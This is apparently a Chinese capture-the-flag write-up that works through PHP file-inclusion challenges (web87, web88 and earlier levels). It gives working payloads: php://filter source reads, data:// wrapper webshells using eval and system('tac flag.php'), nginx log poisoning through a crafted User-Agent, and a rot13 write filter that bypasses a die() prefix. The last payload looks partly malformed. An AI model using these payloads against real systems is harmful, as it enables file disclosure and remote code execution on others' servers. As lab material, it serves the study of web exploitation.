尝试使用伪协议
直接使用
?file=php://filter/convert.base64-encode/resource=flag.php
将flag.php的内容包含进来,以base64 encode 的方式回显,使用base64 decode即可得到flag.php的源码
GET中过滤了php
考虑使用其他伪协议
?file=data://text/plain,<?= eval($_POST[1]) ?>
在post中1=system("tac flag.php");
GET中过滤了php
data
考虑构造特殊的User-Agent,让访问信息记录到日志文件中,包含含有User-Agent 值的日志
使用User-Agent为<?php eval($_POST[1]); ?>
发包
这次访问被记录到日志中
在GET中包含日志文件,?file=/var/log/nginx/access.log
同时在POST中,尝试执行命令1=phpinfo();
,查看回显
(在hackbar 修改ua头很方便,记得把构造的ua头取消勾选,日志记录了多个eval就会在执行时执行多次)
有几个脚本题之后再分析
web87题目
if(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); }else{ highlight_file(__FILE__); }
?file=php://filter/write=string.rot13/resource=2.php
<?php system("tac f*.php");?> <?cuc flfgrz("gnp s*.cuc");?>
之后查看2.php即可
web88
?file=data://text/plain;base64,<?php system('tac fl*.php');echo 'adc';?>aacc